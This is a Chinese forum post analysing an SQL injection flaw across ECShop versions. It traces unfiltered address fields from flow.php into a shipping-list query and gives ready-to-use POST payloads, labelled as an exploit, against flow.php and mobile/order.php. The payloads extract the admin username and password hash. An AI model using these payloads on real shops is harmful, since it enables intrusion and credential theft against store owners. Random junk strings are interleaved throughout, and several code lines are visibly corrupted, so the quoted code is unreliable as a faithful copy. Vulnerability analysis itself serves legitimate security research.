找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2106|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
* c- @8 S6 g' D/ a0 U0 h4 M
) q5 I3 ^6 n5 n0 {% T2 j7 D    漏洞关键文件:
9 n) Y1 x6 z: E- L3 c1 L
8 ^+ C" |' M$ A( p. r    /includes/lib_order.php
' n' J' q( G& G+ F+ \7 D) V9 a& @3 b- [' M/ ^/ x
    关键函数:- w) x0 w9 ?) e# W8 o- P8 C

7 k9 `5 |: U9 p& q ) d: }' y, W2 I

$ A: [+ k0 g, u! d' V01     function available_shipping_list($region_id_list) 2 T$ ^/ U2 S/ n6 w/ g4 Q: j" `
4 Z6 H* c1 e- R) X8 p" C
02 { ' P  m7 F9 A+ X# ]$ Z
9 e- v: O2 I  e4 H, @& d- U7 Y6 b0 Y
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . # k, }1 M: w; S5 D5 k% f0 g

3 p; W" Y4 j9 w04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
1 {+ q3 O7 Z  z8 M$ P
7 M/ g  z4 B9 \$ |6 B05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . " y7 @$ ]" o. v8 r- O4 M

1 |+ @, a+ f1 x- O- [' Z6 }1 L06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
6 |$ N) H* c0 J: U9 i  z5 v( W- C$ D
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
2 v- c4 t: p1 l- m$ j5 P
7 M$ _9 e5 m$ X  C: O3 n9 S08             'WHERE r.region_id ' . db_create_in($region_id_list) . 7 s( c* R9 W1 C. u, m0 l

; S' `; ~  K% D# P3 e0 n1 e09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
5 c' W% g" e1 i% ]) G2 A1 E* k; M/ Y3 R& K# T
10   
) ^. D2 m' y% F* _! V0 e; O& C3 J0 E/ |
11     return $GLOBALS['db']->getAll($sql); ; p* @' N. T# t
9 W! z8 g, E% U& Y; ^, u0 y) t
12 }
; i3 z& T8 [' H* {
& ]$ J" E* _. ?) K/ X9 t显然对传入的参数没有任何过滤就带入了查询语句。8 `: A2 d6 t* Q* N, U* g
: _9 V! G* ^5 ?. ^
下面我们追踪这个函数在flow.php中:
) y. o: \5 d% O 第531行:   + t: ^* s0 E& j" w

+ o: L" g; G+ _% }* R$ J1 $shipping_list     = available_shipping_list($region); ' l% Z9 k* f* r2 J  g- j

! B! j$ B; E' D- r8 r0 x
4 X9 K, ^" p$ o8 ~) s3 K* j' ]6 M. x+ u  _

2 B/ K4 c5 [# o, k% z: W8 \/ A8 z& F( L2 k  Q3 h9 e  f8 i
再对传入变量进行追踪:" N( Y+ Z. y' A# ^: R6 \% P3 G+ H
, H# T* S( m5 q" A- z8 S
第530行:   
$ Z& O7 E  x( D* a; M: Q. c5 g
$ p$ u' i) ^. G" ?" {3 C1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
# U" R9 ?# l6 q0 `" o8 ~/ u1 f% }# x, N7 y& Y( g

4 P% U6 _& U, r, ]4 L/ w" l
4 e. E2 m) V+ v3 ~# c( o ' z! J- v8 v5 M  F) o( H  Y: f

8 J- L; y3 |' w第473行:        ) @" W+ m* E  T; b1 K8 e$ U/ |
; `% y# D. D, C; v" H, v
1 $consignee = get_consignee($_SESSION['user_id']);
! ~1 b9 w2 m0 R5 x* n! ~! t. e% @+ H" F( z8 R9 F% T  S
到了一个关键函数:
/ v7 M5 u# B2 h. ^  x
4 r4 h; T0 b" z. e, u$ e$ J2 ~! t/includes/lib_order.php) r9 M; a% B( @

6 Y1 B, @2 b  f1 c* o8 m# v8 l) M : u/ d7 |/ U' z/ [# @5 Q4 }) ?- |

+ A5 B" l% P! }  D& S9 \ $ n$ j+ [- F" o9 U
; M# ~6 \! P2 z7 \
01 function get_consignee($user_id)
, o6 G3 {0 w0 l) K+ I
9 u  r$ {  d4 a' p( M0 ]02 {
- Z! @: \# h& C+ P: P1 q8 S8 D, \, n9 I8 p" X7 H
03     if (isset($_SESSION['flow_consignee'])) + L- F0 S" z8 i9 ^: i9 b; Y4 @5 R
# l% l, `$ E, |% w
04     {
: d2 l5 }; Z9 b7 x$ ?' S# l' [3 i& n/ \% W
05         /* 如果存在session,则直接返回session中的收货人信息 */
* F) V, D8 l5 w# [* p- s( Y; D4 H( g+ D4 f
06   $ z# k* Z$ P! g+ h9 E8 W/ n' [$ X3 \

* s- ~+ b' n1 R/ z9 T* q07         return $_SESSION['flow_consignee']; . _) }# h$ z  B' |! X, M

" p: m# A% G" D, n4 u08     }
# z: Y8 }: l, e
* T8 G* p3 Z9 P& T4 \4 S09     else
& C$ N9 l2 E2 [' o8 W/ _7 @' o6 g8 j! G
10     {
- k  t0 h2 T0 {! c1 L% O! T
& M2 ?- S7 q- U, x' ]6 z4 y# H11         /* 如果不存在,则取得用户的默认收货人信息 */
6 J3 b$ r" G/ P: G& b8 E- E7 I3 y6 S2 [2 |
12         $arr = array();
) c8 f' O6 a+ U& ?. W9 n- V) q
. ^9 A, D0 k# w: K6 c0 i! A13   ( O0 K/ K, U% M! X, I' Q

" n- z) U& ^! N0 @2 @0 c14         if ($user_id > 0)
5 |: z, u/ g1 @, d, k3 v$ b- e0 c2 ?: X' \: N# J
15         {   t# `* n' a: R3 Q9 n' B) \' j
5 ]% t, }2 G0 p9 s, v+ @5 F$ Y
16             /* 取默认地址 */
* @0 f; d- s" K3 w! n
' |7 E2 x+ z$ ]( Y% D- v17             $sql = "SELECT ua.*".
/ z' b. J6 {+ D5 K: {3 N% W8 e" h" Q
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ; K6 G- }0 s+ ]/ D2 M$ a0 ]% i
7 |- o5 q; t. c+ n
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";   y; }+ B7 I  b

, G9 C3 r% [: }7 u) q20   * P+ s$ f- i2 `5 Z8 ~1 i- [1 \
  x2 v1 j, n: D) G7 p! s0 M
21             $arr = $GLOBALS['db']->getRow($sql);
  R: U" R) x! e4 {
& F2 m$ p  W2 z' M. k22         } ( `0 u- I; N! S! l& X( Q/ Y

+ U! T/ l& i) A8 Z8 N, a: x23   4 e: i& {2 a* g( ?

8 A$ q: Q6 H: l: M6 e24         return $arr;
8 q6 d2 a3 e* X' B, O" h
0 l" S- L, F, d( h25     }
8 K/ L$ P- K: [) h# p+ n
9 x4 d+ S: H  m* S) u+ N26 }
9 H# C# a. |8 @" e7 }  i
9 `; s4 ~4 [+ X' A. g  J7 k" N显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?0 k5 y, h# q: a1 D  U& {5 Y

/ t& m( @# V9 V& C) B
. G# P# {4 G" j- `; S
, l" Q) O0 p( [5 l关键点:
# g, p. k( ~* o8 q! _
; m( S" a- g+ ^% S3 a2 u: Q% Y第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);- H  c  S  _" X* ^. e
1 h2 M/ k) ^9 Y2 ^
这里对传入参数反转义存入$_SESSION中。! \7 l# p  L( q% m
5 R2 g; u4 ]! K) z- T# N0 u/ E
! h3 K" W" z2 `3 e" n0 ~7 E- G- N

1 k1 ~) E% \+ B" U) J1 ^, L  K6 X然后看下:
3 j: B9 @+ L! q" J
7 g6 A9 h/ t+ u$ B ' Q  w* Y3 j$ d9 m3 g8 y

% Q, r  o0 |6 m# p4 j+ J    5 b$ n' G/ D$ ~2 \9 p. ]& g

9 W& X2 B  ?  z8 `3 N01 $consignee = array(
% C# P2 P1 t( G3 k6 s
7 [; S* a& s$ h) Y, g02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 4 g) e, {9 C. r9 Z; f. g  C
+ r% |# ^; }; j5 i! W
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
5 u/ B2 f9 P; f  K  V/ }" ~# M# b8 @9 B2 y( L  Z* t# ?2 t
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
% }- m- M6 q2 Z
7 h+ f. x# L, _) ~+ M9 `* G05         'province'      => empty($_POST['province'])   ? '' _POST['province'], . {) ]) j' X3 W5 e% M

: p7 g% s* F, I  R# K' }06         'city'          => empty($_POST['city'])       ? '' _POST['city'], + E# r2 h# w! p! W  e' y( g% h

8 V0 c0 J3 U" D$ C+ P' E07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
" f- p7 {0 f0 J$ ~5 u# H7 k
2 ?1 Y1 [/ ?& h$ ]! E08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
+ \: _& b2 M: r
  X! I" D3 P# U09         'address'       => empty($_POST['address'])    ? '' _POST['address'], ' ]( t; D. p" Y( |+ ?4 B

0 K* Q" Q/ {' ^# e. F10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
. ?0 w8 }& M- B: i2 ?% I& e6 N, [- c; i4 _' l) \
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 0 y# ~+ `* ]  ]% b/ X
; q4 `7 p1 O  _0 D4 r
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
$ J% S/ }1 f$ J9 \7 q! [. x1 ~4 k/ T  S3 _# o
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 0 l: [. `- @6 k% G! E6 U
" W3 o# [2 C9 o, D& p
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
! U2 i# E" r6 Z0 M* ^! W6 D+ g7 s5 |3 ?% }6 C/ W6 {
15     ); " Y) k( i0 k5 i! G
4 K! F' a# M. j6 S) U
好了注入就这样出现了。4 N; l( U6 d# I

% I" j' r3 x2 Z: g: k9 L==================2 H0 {8 Q/ _# P, X& n  k. U
. j& W/ s& l3 y% }  u# j
注入测试:
4 L. u% F3 n; m& f% B! t  u+ n1 _! y6 A( {" J
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
, S& T) V: G# U) q4 _( K5 K/ f  |& [+ k" R! ~; ~& a2 l
测试程序:ECShop_V2.7.3_UTF8_release1106! g- B: M# m# K& g( P
- m9 r3 _* B7 b% J! S; x+ u
# a( \, u8 ~+ Y$ d7 D

! v3 A; ]/ C1 g% ]! x1.首先需要点击一个商品加入购物车2 t4 Q2 U% y; Q6 R8 X6 v9 W( P  \

' A! T( s* i: X: m2.注册一个会员帐号) d! q: y$ `) t* q; ~

2 ?* x; y6 K) J3.post提交数据
, t9 g6 C: d5 H# c$ ^9 ~- d/ z; p. \
! L1 t$ `$ Z- I+ L: d
3 ?9 A7 X& M. S3 v' I: g6 i; M$ d
1 http://127.0.0.1/ecshop/flow.php 7 a8 a# }7 e' C' V0 M! E' x
. l1 }' T& S$ Y& l  f
2   : `6 ?6 ~' Z8 I

- z0 q) M3 n% a1 e3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
* t) a: Y/ @9 {" Z举一反三,我们根据这个漏洞我们可以继续深入挖掘:& x1 j# Q. r! @! f1 S/ `
  [  x, \5 J6 w: Q) P0 S3 U
我们搜寻关键函数function available_shipping_list()
+ P; B& h& l0 v! ~
5 z5 ?3 T" O' M在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同! ~. q( W3 z8 c& W* `
  l" E  I) p/ W: K
利用exp:5 \; T1 Q- w  {5 Y1 c( V# l4 X/ u

# I$ s. }3 U% G' e. X1.点击一个商品,点击购买商标- U, W+ ^- u1 L1 i6 z
- C3 v, j8 l9 V
2.登录会员帐号! B$ R, i( j2 l2 }, G6 x4 y

. }& h$ f. z! j) R6 l3.post提交:
: r: L4 v' U$ U5 G5 `, n
* [7 U/ w. K- Qhttp://127.0.0.1/ecshop/mobile/order.php
* ^, ?8 D. p  n8 U( `! m
, V6 E# g0 c! i2 D1 X2 A ; L  M+ a) O7 |9 Z5 m

* _% |& H; X/ ?. X, t& R% P6 P! ]country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
; ]2 D2 [( q. ]5 t$ R1 f* r% p) b) ?# u& |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表